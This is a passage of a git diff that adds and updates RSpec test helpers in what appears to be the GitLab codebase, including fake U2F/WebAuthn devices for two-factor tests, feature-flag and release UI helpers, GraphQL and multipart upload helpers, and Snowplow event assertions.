+ config.define_derived_metadata(file_path: %r{(ee)?/spec/.+_docs\.rb\z}) do |metadata|
+ metadata[:type] = :feature
+ end
+
config.include LicenseHelpers
config.include ActiveJob::TestHelper
config.include ActiveSupport::Testing::TimeHelpers
@@ -110,6 +115,8 @@ RSpec.configure do |config|
config.include StubExperiments
config.include StubGitlabCalls
config.include StubGitlabData
+ config.include SnowplowHelpers
+ config.include NextFoundInstanceOf
config.include NextInstanceOf
config.include TestEnv
config.include Devise::Test::ControllerHelpers, type: :controller
@@ -193,6 +200,14 @@ RSpec.configure do |config|
stub_feature_flags(vue_issuable_sidebar: false)
stub_feature_flags(vue_issuable_epic_sidebar: false)
+ # The following can be removed once we are confident the
+ # unified diff lines works as expected
+ stub_feature_flags(unified_diff_lines: false)
+
+ # Merge request widget GraphQL requests are disabled in the tests
+ # for now whilst we migrate as much as we can over the GraphQL
+ stub_feature_flags(merge_request_widget_graphql: false)
+
enable_rugged = example.metadata[:enable_rugged].present?
# Disable Rugged features by default
@@ -261,6 +276,7 @@ RSpec.configure do |config|
./spec/support/protected_tags
./spec/support/shared_examples/features
./spec/support/shared_examples/requests
+ ./spec/support/shared_examples/lib/gitlab
./spec/views
./spec/workers
)
@@ -359,3 +375,6 @@ Rugged::Settings['search_path_global'] = Rails.root.join('tmp/tests').to_s
# Disable timestamp checks for invisible_captcha
InvisibleCaptcha.timestamp_enabled = false
+
+# Initialize FactoryDefault to use create_default helper
+TestProf::FactoryDefault.init
diff --git a/spec/support/factory_default.rb b/spec/support/factory_default.rb
new file mode 100644
index 00000000000..e116c28f132
--- /dev/null
+++ b/spec/support/factory_default.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+RSpec.configure do |config|
+ config.after do |ex|
+ TestProf::FactoryDefault.reset unless ex.metadata[:factory_default] == :keep
+ end
+
+ config.after(:all) do
+ TestProf::FactoryDefault.reset
+ end
+end
diff --git a/spec/support/forgery_protection.rb b/spec/support/forgery_protection.rb
index 1d6ea013292..d12e99b17c4 100644
--- a/spec/support/forgery_protection.rb
+++ b/spec/support/forgery_protection.rb
@@ -8,7 +8,7 @@ module ForgeryProtection
ActionController::Base.allow_forgery_protection = false
end
- module_function :with_forgery_protection
+ module_function :with_forgery_protection # rubocop: disable Style/AccessModifierDeclarations
end
RSpec.configure do |config|
diff --git a/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml b/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml
index 4134660e4b9..c4f3c3aace2 100644
--- a/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml
+++ b/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml
@@ -4,6 +4,7 @@ include:
variables:
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers2"
SAST_EXCLUDED_PATHS: "spec, executables"
+ SAST_DEFAULT_ANALYZERS: "bandit, gosec"
stages:
- our_custom_security_stage
@@ -11,3 +12,4 @@ sast:
stage: our_custom_security_stage
variables:
SEARCH_MAX_DEPTH: 8
+ SAST_BRAKEMAN_LEVEL: 2
diff --git a/spec/support/helpers/ci/source_pipeline_helpers.rb b/spec/support/helpers/ci/source_pipeline_helpers.rb
new file mode 100644
index 00000000000..b99f499cc16
--- /dev/null
+++ b/spec/support/helpers/ci/source_pipeline_helpers.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Ci
+ module SourcePipelineHelpers
+ def create_source_pipeline(upstream, downstream)
+ create(:ci_sources_pipeline,
+ source_job: create(:ci_build, pipeline: upstream),
+ source_project: upstream.project,
+ pipeline: downstream,
+ project: downstream.project)
+ end
+ end
+end
diff --git a/spec/support/helpers/dns_helpers.rb b/spec/support/helpers/dns_helpers.rb
index 29be4da6902..1795b0a9ac3 100644
--- a/spec/support/helpers/dns_helpers.rb
+++ b/spec/support/helpers/dns_helpers.rb
@@ -25,6 +25,6 @@ module DnsHelpers
def permit_local_dns!
local_addresses = /\A(127|10)\.0\.0\.\d{1,3}|(192\.168|172\.16)\.\d{1,3}\.\d{1,3}|0\.0\.0\.0|localhost\z/i
allow(Addrinfo).to receive(:getaddrinfo).with(local_addresses, anything, nil, :STREAM).and_call_original
- allow(Addrinfo).to receive(:getaddrinfo).with(local_addresses, anything, nil, :STREAM, anything, anything).and_call_original
+ allow(Addrinfo).to receive(:getaddrinfo).with(local_addresses, anything, nil, :STREAM, anything, anything, any_args).and_call_original
end
end
diff --git a/spec/support/helpers/docs_screenshot_helpers.rb b/spec/support/helpers/docs_screenshot_helpers.rb
new file mode 100644
index 00000000000..aa3aad0a740
--- /dev/null
+++ b/spec/support/helpers/docs_screenshot_helpers.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'fileutils'
+require 'mini_magick'
+
+module DocsScreenshotHelpers
+ extend ActiveSupport::Concern
+
+ def set_crop_data(element, padding)
+ @crop_element = element
+ @crop_padding = padding
+ end
+
+ def crop_image_screenshot(path)
+ element_rect = @crop_element.evaluate_script("this.getBoundingClientRect()")
+
+ width = element_rect['width'] + (@crop_padding * 2)
+ height = element_rect['height'] + (@crop_padding * 2)
+
+ x = element_rect['x'] - @crop_padding
+ y = element_rect['y'] - @crop_padding
+
+ image = MiniMagick::Image.new(path)
+ image.crop "#{width}x#{height}+#{x}+#{y}"
+ end
+
+ included do |base|
+ after do |example|
+ filename = "#{example.description}.png"
+ path = File.expand_path(filename, 'doc/')
+ page.save_screenshot(path)
+
+ if @crop_element
+ crop_image_screenshot(path)
+ set_crop_data(nil, nil)
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/fake_u2f_device.rb b/spec/support/helpers/fake_u2f_device.rb
index f765b277175..2ed1222ebd3 100644
--- a/spec/support/helpers/fake_u2f_device.rb
+++ b/spec/support/helpers/fake_u2f_device.rb
@@ -3,9 +3,10 @@
class FakeU2fDevice
attr_reader :name
- def initialize(page, name)
+ def initialize(page, name, device = nil)
@page = page
@name = name
+ @u2f_device = device
end
def respond_to_u2f_registration
diff --git a/spec/support/helpers/fake_webauthn_device.rb b/spec/support/helpers/fake_webauthn_device.rb
new file mode 100644
index 00000000000..d2c2f7d6bf3
--- /dev/null
+++ b/spec/support/helpers/fake_webauthn_device.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+require 'webauthn/fake_client'
+
+class FakeWebauthnDevice
+ attr_reader :name
+
+ def initialize(page, name, device = nil)
+ @page = page
+ @name = name
+ @webauthn_device = device
+ end
+
+ def respond_to_webauthn_registration
+ app_id = @page.evaluate_script('gon.webauthn.app_id')
+ challenge = @page.evaluate_script('gon.webauthn.options.challenge')
+
+ json_response = webauthn_device(app_id).create(challenge: challenge).to_json # rubocop:disable Rails/SaveBang
+ @page.execute_script <<~JS
+ var result = #{json_response};
+ result.getClientExtensionResults = () => ({});
+ navigator.credentials.create = function(_) {
+ return Promise.resolve(result);
+ };
+ JS
+ end
+
+ def respond_to_webauthn_authentication
+ app_id = @page.evaluate_script('JSON.parse(gon.webauthn.options).extensions.appid')
+ challenge = @page.evaluate_script('JSON.parse(gon.webauthn.options).challenge')
+
+ begin
+ json_response = webauthn_device(app_id).get(challenge: challenge).to_json
+
+ rescue RuntimeError
+ # A runtime error is raised from fake webauthn if no credentials have been registered yet.
+ # To be able to test non registered devices, credentials are created ad-hoc
+ webauthn_device(app_id).create # rubocop:disable Rails/SaveBang
+ json_response = webauthn_device(app_id).get(challenge: challenge).to_json
+ end
+
+ @page.execute_script <<~JS
+ var result = #{json_response};
+ result.getClientExtensionResults = () => ({});
+ navigator.credentials.get = function(_) {
+ return Promise.resolve(result);
+ };
+ JS
+ @page.click_link('Try again?', href: false)
+ end
+
+ def fake_webauthn_authentication
+ @page.execute_script <<~JS
+ const mockResponse = {
+ type: 'public-key',
+ id: '',
+ rawId: '',
+ response: { clientDataJSON: '', authenticatorData: '', signature: '', userHandle: '' },
+ getClientExtensionResults: () => {},
+ };
+ window.gl.resolveWebauthn(mockResponse);
+ JS
+ end
+
+ def add_credential(app_id, credential_id, credential_key)
+ credentials = { URI.parse(app_id).host => { credential_id => { credential_key: credential_key, sign_count: 0 } } }
+ webauthn_device(app_id).send(:authenticator).instance_variable_set(:@credentials, credentials)
+ end
+
+ private
+
+ def webauthn_device(app_id)
+ @webauthn_device ||= WebAuthn::FakeClient.new(app_id)
+ end
+end
diff --git a/spec/support/helpers/feature_flag_helpers.rb b/spec/support/helpers/feature_flag_helpers.rb
new file mode 100644
index 00000000000..93cd915879b
--- /dev/null
+++ b/spec/support/helpers/feature_flag_helpers.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+module FeatureFlagHelpers
+ def create_flag(project, name, active = true, description: nil, version: Operations::FeatureFlag.versions['legacy_flag'])
+ create(:operations_feature_flag, name: name, active: active, version: version,
+ description: description, project: project)
+ end
+
+ def create_scope(feature_flag, environment_scope, active = true, strategies = [{ name: "default", parameters: {} }])
+ create(:operations_feature_flag_scope,
+ feature_flag: feature_flag,
+ environment_scope: environment_scope,
+ active: active,
+ strategies: strategies)
+ end
+
+ def within_feature_flag_row(index)
+ within ".gl-responsive-table-row:nth-child(#{index + 1})" do
+ yield
+ end
+ end
+
+ def within_feature_flag_scopes
+ within '.js-feature-flag-environments' do
+ yield
+ end
+ end
+
+ def within_scope_row(index)
+ within ".gl-responsive-table-row:nth-child(#{index + 1})" do
+ yield
+ end
+ end
+
+ def within_strategy_row(index)
+ within ".feature-flags-form > fieldset > div[data-testid='feature-flag-strategies'] > div:nth-child(#{index})" do
+ yield
+ end
+ end
+
+ def within_environment_spec
+ within '.table-section:nth-child(1)' do
+ yield
+ end
+ end
+
+ def within_status
+ within '.table-section:nth-child(2)' do
+ yield
+ end
+ end
+
+ def within_delete
+ within '.table-section:nth-child(4)' do
+ yield
+ end
+ end
+
+ def edit_feature_flag_button
+ find('.js-feature-flag-edit-button')
+ end
+
+ def delete_strategy_button
+ find("button[data-testid='delete-strategy-button']")
+ end
+
+ def add_linked_issue_button
+ find('.js-issue-count-badge-add-button')
+ end
+
+ def remove_linked_issue_button
+ find('.js-issue-item-remove-button')
+ end
+
+ def status_toggle_button
+ find('[data-testid="feature-flag-status-toggle"] button')
+ end
+
+ def expect_status_toggle_button_to_be_checked
+ expect(page).to have_css('[data-testid="feature-flag-status-toggle"] button.is-checked')
+ end
+
+ def expect_status_toggle_button_not_to_be_checked
+ expect(page).to have_css('[data-testid="feature-flag-status-toggle"] button:not(.is-checked)')
+ end
+
+ def expect_status_toggle_button_to_be_disabled
+ expect(page).to have_css('[data-testid="feature-flag-status-toggle"] button.is-disabled')
+ end
+
+ def expect_user_to_see_feature_flags_index_page
+ expect(page).to have_text('Feature Flags')
+ expect(page).to have_text('Lists')
+ end
+end
diff --git a/spec/support/helpers/features/editor_lite_spec_helpers.rb b/spec/support/helpers/features/editor_lite_spec_helpers.rb
new file mode 100644
index 00000000000..0a67e753379
--- /dev/null
+++ b/spec/support/helpers/features/editor_lite_spec_helpers.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+# These helpers help you interact within the Editor Lite (single-file editor, snippets, etc.).
+#
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module EditorLiteSpecHelpers
+ include ActionView::Helpers::JavaScriptHelper
+
+ def editor_set_value(value)
+ editor = find('.monaco-editor')
+ uri = editor['data-uri']
+
+ execute_script("monaco.editor.getModel('#{uri}').setValue('#{escape_javascript(value)}')")
+ end
+
+ def editor_get_value
+ editor = find('.monaco-editor')
+ uri = editor['data-uri']
+
+ evaluate_script("monaco.editor.getModel('#{uri}').getValue()")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/features/releases_helpers.rb b/spec/support/helpers/features/releases_helpers.rb
new file mode 100644
index 00000000000..0d46918b05c
--- /dev/null
+++ b/spec/support/helpers/features/releases_helpers.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+# These helpers fill fields on the "New Release" and
+# "Edit Release" pages. They use the keyboard to navigate
+# from one field to the next and assume that when
+# they are called, the field to be filled out is already focused.
+#
+# Usage:
+# describe "..." do
+# include Spec::Support::Helpers::Features::ReleasesHelpers
+# ...
+#
+# fill_tag_name("v1.0")
+# select_create_from("my-feature-branch")
+#
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module ReleasesHelpers
+ # Returns the element that currently has keyboard focus.
+ # Reminder that this returns a Selenium::WebDriver::Element
+ # _not_ a Capybara::Node::Element
+ def focused_element
+ page.driver.browser.switch_to.active_element
+ end
+
+ def fill_tag_name(tag_name, and_tab: true)
+ expect(focused_element).to eq(find_field('Tag name').native)
+
+ focused_element.send_keys(tag_name)
+
+ focused_element.send_keys(:tab) if and_tab
+ end
+
+ def select_create_from(branch_name, and_tab: true)
+ expect(focused_element).to eq(find('[data-testid="create-from-field"] button').native)
+
+ focused_element.send_keys(:enter)
+
+ # Wait for the dropdown to be rendered
+ page.find('.ref-selector .dropdown-menu')
+
+ # Pressing Enter in the search box shouldn't submit the form
+ focused_element.send_keys(branch_name, :enter)
+
+ # Wait for the search to return
+ page.find('.ref-selector .dropdown-item', text: branch_name, match: :first)
+
+ focused_element.send_keys(:arrow_down, :enter)
+
+ focused_element.send_keys(:tab) if and_tab
+ end
+
+ def fill_release_title(release_title, and_tab: true)
+ expect(focused_element).to eq(find_field('Release title').native)
+
+ focused_element.send_keys(release_title)
+
+ focused_element.send_keys(:tab) if and_tab
+ end
+
+ def select_milestone(milestone_title, and_tab: true)
+ expect(focused_element).to eq(find('[data-testid="milestones-field"] button').native)
+
+ focused_element.send_keys(:enter)
+
+ # Wait for the dropdown to be rendered
+ page.find('.project-milestone-combobox .dropdown-menu')
+
+ # Clear any existing input
+ focused_element.attribute('value').length.times { focused_element.send_keys(:backspace) }
+
+ # Pressing Enter in the search box shouldn't submit the form
+ focused_element.send_keys(milestone_title, :enter)
+
+ # Wait for the search to return
+ page.find('.project-milestone-combobox .dropdown-item', text: milestone_title, match: :first)
+
+ focused_element.send_keys(:arrow_down, :arrow_down, :enter)
+
+ focused_element.send_keys(:tab) if and_tab
+ end
+
+ def fill_release_notes(release_notes, and_tab: true)
+ expect(focused_element).to eq(find_field('Release notes').native)
+
+ focused_element.send_keys(release_notes)
+
+ # Tab past the links at the bottom of the editor
+ focused_element.send_keys(:tab, :tab, :tab) if and_tab
+ end
+
+ def fill_asset_link(link, and_tab: true)
+ expect(focused_element['id']).to start_with('asset-url-')
+
+ focused_element.send_keys(link[:url], :tab, link[:title], :tab, link[:type])
+
+ # Tab past the "Remove asset link" button
+ focused_element.send_keys(:tab, :tab) if and_tab
+ end
+
+ # Click "Add another link" and tab back to the beginning of the new row
+ def add_another_asset_link
+ expect(focused_element).to eq(find_button('Add another link').native)
+
+ focused_element.send_keys(:enter,
+ [:shift, :tab],
+ [:shift, :tab],
+ [:shift, :tab],
+ [:shift, :tab])
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/features/snippet_helpers.rb b/spec/support/helpers/features/snippet_helpers.rb
new file mode 100644
index 00000000000..c01d179770c
--- /dev/null
+++ b/spec/support/helpers/features/snippet_helpers.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+# These helpers help you interact within the Editor Lite (single-file editor, snippets, etc.).
+#
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module SnippetSpecHelpers
+ include ActionView::Helpers::JavaScriptHelper
+ include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+
+ def snippet_get_first_blob_path
+ page.find_field(snippet_blob_path_field, match: :first).value
+ end
+
+ def snippet_get_first_blob_value
+ page.find(snippet_blob_content_selector, match: :first)
+ end
+
+ def snippet_description_value
+ page.find_field(snippet_description_field).value
+ end
+
+ def snippet_fill_in_form(title:, content:, description: '')
+ # fill_in snippet_title_field, with: title
+ # editor_set_value(content)
+ fill_in snippet_title_field, with: title
+
+ if description
+ # Click placeholder first to expand full description field
+ description_field.click
+ fill_in snippet_description_field, with: description
+ end
+
+ page.within('.file-editor') do
+ el = find('.inputarea')
+ el.send_keys content
+ end
+ end
+
+ private
+
+ def description_field
+ find('.js-description-input').find('input,textarea')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/features/two_factor_helpers.rb b/spec/support/helpers/features/two_factor_helpers.rb
new file mode 100644
index 00000000000..08a7665201f
--- /dev/null
+++ b/spec/support/helpers/features/two_factor_helpers.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+# These helpers allow you to manage and register
+# U2F and WebAuthn devices
+#
+# Usage:
+# describe "..." do
+# include Spec::Support::Helpers::Features::TwoFactorHelpers
+# ...
+#
+# manage_two_factor_authentication
+#
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module TwoFactorHelpers
+ def manage_two_factor_authentication
+ click_on 'Manage two-factor authentication'
+ expect(page).to have_content("Set up new device")
+ wait_for_requests
+ end
+
+ def register_u2f_device(u2f_device = nil, name: 'My device')
+ u2f_device ||= FakeU2fDevice.new(page, name)
+ u2f_device.respond_to_u2f_registration
+ click_on 'Set up new device'
+ expect(page).to have_content('Your device was successfully set up')
+ fill_in "Pick a name", with: name
+ click_on 'Register device'
+ u2f_device
+ end
+
+ # Registers webauthn device via UI
+ def register_webauthn_device(webauthn_device = nil, name: 'My device')
+ webauthn_device ||= FakeWebauthnDevice.new(page, name)
+ webauthn_device.respond_to_webauthn_registration
+ click_on 'Set up new device'
+ expect(page).to have_content('Your device was successfully set up')
+ fill_in 'Pick a name', with: name
+ click_on 'Register device'
+ webauthn_device
+ end
+
+ # Adds webauthn device directly via database
+ def add_webauthn_device(app_id, user, fake_device = nil, name: 'My device')
+ fake_device ||= WebAuthn::FakeClient.new(app_id)
+
+ options_for_create = WebAuthn::Credential.options_for_create(
+ user: { id: user.webauthn_xid, name: user.username },
+ authenticator_selection: { user_verification: 'discouraged' },
+ rp: { name: 'GitLab' }
+ )
+ challenge = options_for_create.challenge
+
+ device_response = fake_device.create(challenge: challenge).to_json # rubocop:disable Rails/SaveBang
+ device_registration_params = { device_response: device_response,
+ name: name }
+
+ Webauthn::RegisterService.new(
+ user, device_registration_params, challenge).execute
+ FakeWebauthnDevice.new(page, name, fake_device)
+ end
+
+ def assert_fallback_ui(page)
+ expect(page).to have_button('Verify code')
+ expect(page).to have_css('#user_otp_attempt')
+ expect(page).not_to have_link('Sign in via 2FA code')
+ expect(page).not_to have_css("#js-authenticate-token-2fa")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/graphql_helpers.rb b/spec/support/helpers/graphql_helpers.rb
index 87525734490..5635ba3df05 100644
--- a/spec/support/helpers/graphql_helpers.rb
+++ b/spec/support/helpers/graphql_helpers.rb
@@ -241,6 +241,39 @@ module GraphqlHelpers
post_graphql(mutation.query, current_user: current_user, variables: mutation.variables)
end
+ def post_graphql_mutation_with_uploads(mutation, current_user: nil)
+ file_paths = file_paths_in_mutation(mutation)
+ params = mutation_to_apollo_uploads_param(mutation, files: file_paths)
+
+ workhorse_post_with_file(api('/', current_user, version: 'graphql'),
+ params: params,
+ file_key: '1'
+ )
+ end
+
+ def file_paths_in_mutation(mutation)
+ paths = []
+ find_uploads(paths, [], mutation.variables)
+
+ paths
+ end
+
+ # Depth first search for UploadedFile values
+ def find_uploads(paths, path, value)
+ case value
+ when Rack::Test::UploadedFile
+ paths << path
+ when Hash
+ value.each do |k, v|
+ find_uploads(paths, path + [k], v)
+ end
+ when Array
+ value.each_with_index do |v, i|
+ find_uploads(paths, path + [i], v)
+ end
+ end
+ end
+
# this implements GraphQL multipart request v2
# https://github.com/jaydenseric/graphql-multipart-request-spec/tree/v2.0.0-alpha.2
# this is simplified and do not support file deduplication
diff --git a/spec/support/helpers/jira_service_helper.rb b/spec/support/helpers/jira_service_helper.rb
index 4895bc3ba15..698490c8c92 100644
--- a/spec/support/helpers/jira_service_helper.rb
+++ b/spec/support/helpers/jira_service_helper.rb
@@ -78,8 +78,7 @@ module JiraServiceHelper
end
def stub_jira_service_test
- WebMock.stub_request(:get, 'https://jira.example.com/rest/api/2/serverInfo')
- .to_return(body: { url: 'http://url' }.to_json)
+ WebMock.stub_request(:get, /serverInfo/).to_return(body: { url: 'http://url' }.to_json)
end
def stub_jira_urls(issue_id)
diff --git a/spec/support/helpers/login_helpers.rb b/spec/support/helpers/login_helpers.rb
index 1118cfcf7ac..e21d4497cda 100644
--- a/spec/support/helpers/login_helpers.rb
+++ b/spec/support/helpers/login_helpers.rb
@@ -111,6 +111,11 @@ module LoginHelpers
FakeU2fDevice.new(page, nil).fake_u2f_authentication
end
+ def fake_successful_webauthn_authentication
+ allow_any_instance_of(Webauthn::AuthenticateService).to receive(:execute).and_return(true)
+ FakeWebauthnDevice.new(page, nil).fake_webauthn_authentication
+ end
+
def mock_auth_hash_with_saml_xml(provider, uid, email, saml_response)
response_object = { document: saml_xml(saml_response) }
mock_auth_hash(provider, uid, email, response_object: response_object)
diff --git a/spec/support/helpers/markdown_feature.rb b/spec/support/helpers/markdown_feature.rb
index 40e0d4413e2..0cb2863dc2c 100644
--- a/spec/support/helpers/markdown_feature.rb
+++ b/spec/support/helpers/markdown_feature.rb
@@ -87,6 +87,10 @@ class MarkdownFeature
@group_milestone ||= create(:milestone, name: 'group-milestone', group: group)
end
+ def alert
+ @alert ||= create(:alert_management_alert, project: project)
+ end
+
# Cross-references -----------------------------------------------------------
def xproject
@@ -125,6 +129,10 @@ class MarkdownFeature
@xmilestone ||= create(:milestone, project: xproject)
end
+ def xalert
+ @xalert ||= create(:alert_management_alert, project: xproject)
+ end
+
def urls
Gitlab::Routing.url_helpers
end
diff --git a/spec/support/helpers/metrics_dashboard_helpers.rb b/spec/support/helpers/metrics_dashboard_helpers.rb
index 7168079fead..a384e44f428 100644
--- a/spec/support/helpers/metrics_dashboard_helpers.rb
+++ b/spec/support/helpers/metrics_dashboard_helpers.rb
@@ -47,7 +47,7 @@ module MetricsDashboardHelpers
end
def business_metric_title
- PrometheusMetricEnums.group_details[:business][:group_title]
+ Enums::PrometheusMetric.group_details[:business][:group_title]
end
def self_monitoring_dashboard_path
diff --git a/spec/support/helpers/multipart_helpers.rb b/spec/support/helpers/multipart_helpers.rb
new file mode 100644
index 00000000000..043cb6e1420
--- /dev/null
+++ b/spec/support/helpers/multipart_helpers.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+module MultipartHelpers
+ include WorkhorseHelpers
+
+ def post_env(rewritten_fields:, params:, secret:, issuer:)
+ token = JWT.encode({ 'iss' => issuer, 'rewritten_fields' => rewritten_fields }, secret, 'HS256')
+ Rack::MockRequest.env_for(
+ '/',
+ method: 'post',
+ params: params,
+ described_class::RACK_ENV_KEY => token
+ )
+ end
+
+ # This function assumes a `mode` variable to be set
+ def upload_parameters_for(filepath: nil, key: nil, filename: 'filename', remote_id: 'remote_id')
+ result = {
+ "#{key}.name" => filename,
+ "#{key}.type" => "application/octet-stream",
+ "#{key}.sha256" => "1234567890"
+ }
+
+ case mode
+ when :local
+ result["#{key}.path"] = filepath
+ when :remote
+ result["#{key}.remote_id"] = remote_id
+ result["#{key}.size"] = 3.megabytes
+ else
+ raise ArgumentError, "can't handle #{mode} mode"
+ end
+
+ return result if ::Feature.disabled?(:upload_middleware_jwt_params_handler)
+
+ # the HandlerForJWTParams expects a jwt token with the upload parameters
+ # *without* the "#{key}." prefix
+ result.deep_transform_keys! { |k| k.remove("#{key}.") }
+ {
+ "#{key}.gitlab-workhorse-upload" => jwt_token('upload' => result)
+ }
+ end
+
+ # This function assumes a `mode` variable to be set
+ def rewritten_fields_hash(hash)
+ if mode == :remote
+ # For remote uploads, workhorse still submits rewritten_fields,
+ # but all the values are empty strings.
+ hash.keys.each { |k| hash[k] = '' }
+ end
+
+ hash
+ end
+
+ def expect_uploaded_files(uploaded_file_expectations)
+ expect(app).to receive(:call) do |env|
+ Array.wrap(uploaded_file_expectations).each do |expectation|
+ file = get_params(env).dig(*expectation[:params_path])
+ expect_uploaded_file(file, expectation)
+ end
+ end
+ end
+
+ # This function assumes a `mode` variable to be set
+ def expect_uploaded_file(file, expectation)
+ expect(file).to be_a(::UploadedFile)
+ expect(file.original_filename).to eq(expectation[:original_filename])
+ expect(file.sha256).to eq('1234567890')
+
+ case mode
+ when :local
+ expect(file.path).to eq(File.realpath(expectation[:filepath]))
+ expect(file.remote_id).to be_nil
+ expect(file.size).to eq(expectation[:size])
+ when :remote
+ expect(file.remote_id).to eq(expectation[:remote_id])
+ expect(file.path).to be_nil
+ expect(file.size).to eq(3.megabytes)
+ else
+ raise ArgumentError, "can't handle #{mode} mode"
+ end
+ end
+
+ # Rails doesn't combine the GET/POST parameters in
+ # ActionDispatch::HTTP::Parameters if action_dispatch.request.parameters is set:
+ # https://github.com/rails/rails/blob/aea6423f013ca48f7704c70deadf2cd6ac7d70a1/actionpack/lib/action_dispatch/http/parameters.rb#L41
+ def get_params(env)
+ req = ActionDispatch::Request.new(env)
+ req.GET.merge(req.POST)
+ end
+end
diff --git a/spec/support/helpers/navbar_structure_helper.rb b/spec/support/helpers/navbar_structure_helper.rb
index c7aa2ffe536..11e67ba394c 100644
--- a/spec/support/helpers/navbar_structure_helper.rb
+++ b/spec/support/helpers/navbar_structure_helper.rb
@@ -4,13 +4,13 @@ module NavbarStructureHelper
def insert_after_nav_item(before_nav_item_name, new_nav_item:)
expect(structure).to include(a_hash_including(nav_item: before_nav_item_name))
- index = structure.find_index { |h| h[:nav_item] == before_nav_item_name }
+ index = structure.find_index { |h| h[:nav_item] == before_nav_item_name if h }
structure.insert(index + 1, new_nav_item)
end
def insert_after_sub_nav_item(before_sub_nav_item_name, within:, new_sub_nav_item_name:)
expect(structure).to include(a_hash_including(nav_item: within))
- hash = structure.find { |h| h[:nav_item] == within }
+ hash = structure.find { |h| h[:nav_item] == within if h }
expect(hash).to have_key(:nav_sub_items)
expect(hash[:nav_sub_items]).to include(before_sub_nav_item_name)
diff --git a/spec/support/helpers/next_found_instance_of.rb b/spec/support/helpers/next_found_instance_of.rb
new file mode 100644
index 00000000000..ff34fcdd1d3
--- /dev/null
+++ b/spec/support/helpers/next_found_instance_of.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module NextFoundInstanceOf
+ ERROR_MESSAGE = 'NextFoundInstanceOf mock helpers can only be used with ActiveRecord targets'
+
+ def expect_next_found_instance_of(klass)
+ check_if_active_record!(klass)
+
+ stub_allocate(expect(klass)) do |expectation|
+ yield(expectation)
+ end
+ end
+
+ def allow_next_found_instance_of(klass)
+ check_if_active_record!(klass)
+
+ stub_allocate(allow(klass)) do |allowance|
+ yield(allowance)
+ end
+ end
+
+ private
+
+ def check_if_active_record!(klass)
+ raise ArgumentError.new(ERROR_MESSAGE) unless klass < ActiveRecord::Base
+ end
+
+ def stub_allocate(target)
+ target.to receive(:allocate).and_wrap_original do |method|
+ method.call.tap { |allocation| yield(allocation) }
+ end
+ end
+end
diff --git a/spec/support/helpers/project_forks_helper.rb b/spec/support/helpers/project_forks_helper.rb
index a32e39e52c8..4b4285f251e 100644
--- a/spec/support/helpers/project_forks_helper.rb
+++ b/spec/support/helpers/project_forks_helper.rb
@@ -17,14 +17,26 @@ module ProjectForksHelper
project.add_developer(user)
end
- unless params[:namespace] || params[:namespace_id]
+ unless params[:namespace]
params[:namespace] = create(:group)
params[:namespace].add_owner(user)
end
+ namespace = params[:namespace]
+ create_repository = params.delete(:repository)
+
+ unless params[:target_project] || params[:using_service]
+ target_level = [project.visibility_level, namespace.visibility_level].min
+ visibility_level = Gitlab::VisibilityLevel.closest_allowed_level(target_level)
+
+ params[:target_project] =
+ create(:project,
+ (:repository if create_repository),
+ visibility_level: visibility_level, creator: user, namespace: namespace)
+ end
+
service = Projects::ForkService.new(project, user, params)
- create_repository = params.delete(:repository)
# Avoid creating a repository
unless create_repository
allow(RepositoryForkWorker).to receive(:perform_async).and_return(true)
diff --git a/spec/support/helpers/repo_helpers.rb b/spec/support/helpers/repo_helpers.rb
index 7741c805b37..bbba58d60d6 100644
--- a/spec/support/helpers/repo_helpers.rb
+++ b/spec/support/helpers/repo_helpers.rb
@@ -125,7 +125,7 @@ eos
end
def create_file_in_repo(
- project, start_branch, branch_name, filename, content,
+ project, start_branch, branch_name, filename, content,
commit_message: 'Add new content')
Files::CreateService.new(
project,
diff --git a/spec/support/helpers/snowplow_helpers.rb b/spec/support/helpers/snowplow_helpers.rb
new file mode 100644
index 00000000000..83a5b7e48bc
--- /dev/null
+++ b/spec/support/helpers/snowplow_helpers.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module SnowplowHelpers
+ # Asserts call for one snowplow event from `Gitlab::Tracking#event`.
+ #
+ # @param [Hash]
+ #
+ # Examples:
+ #
+ # describe '#show', :snowplow do
+ # it 'tracks snowplow events' do
+ # get :show
+ #
+ # expect_snowplow_event(category: 'Experiment', action: 'start')
+ # end
+ # end
+ #
+ # describe '#create', :snowplow do
+ # it 'tracks snowplow events' do
+ # post :create
+ #
+ # expect_snowplow_event(
+ # category: 'Experiment',
+ # action: 'created',
+ # )
+ # expect_snowplow_event(
+ # category: 'Experiment',
+ # action: 'accepted',
+ # property: 'property',
+ # label: 'label'
+ # )
+ # end
+ # end
+ def expect_snowplow_event(category:, action:, **kwargs)
+ expect(Gitlab::Tracking).to have_received(:event)
+ .with(category, action, **kwargs).at_least(:once)
+ end
+
+ # Asserts that no call to `Gitlab::Tracking#event` was made.
+ #
+ # Example:
+ #
+ # describe '#show', :snowplow do
+ # it 'does not track any snowplow events' do
+ # get :show
+ #
+ # expect_no_snowplow_event
+ # end
+ # end
+ def expect_no_snowplow_event
+ expect(Gitlab::Tracking).not_to have_received(:event)
+ end
+end
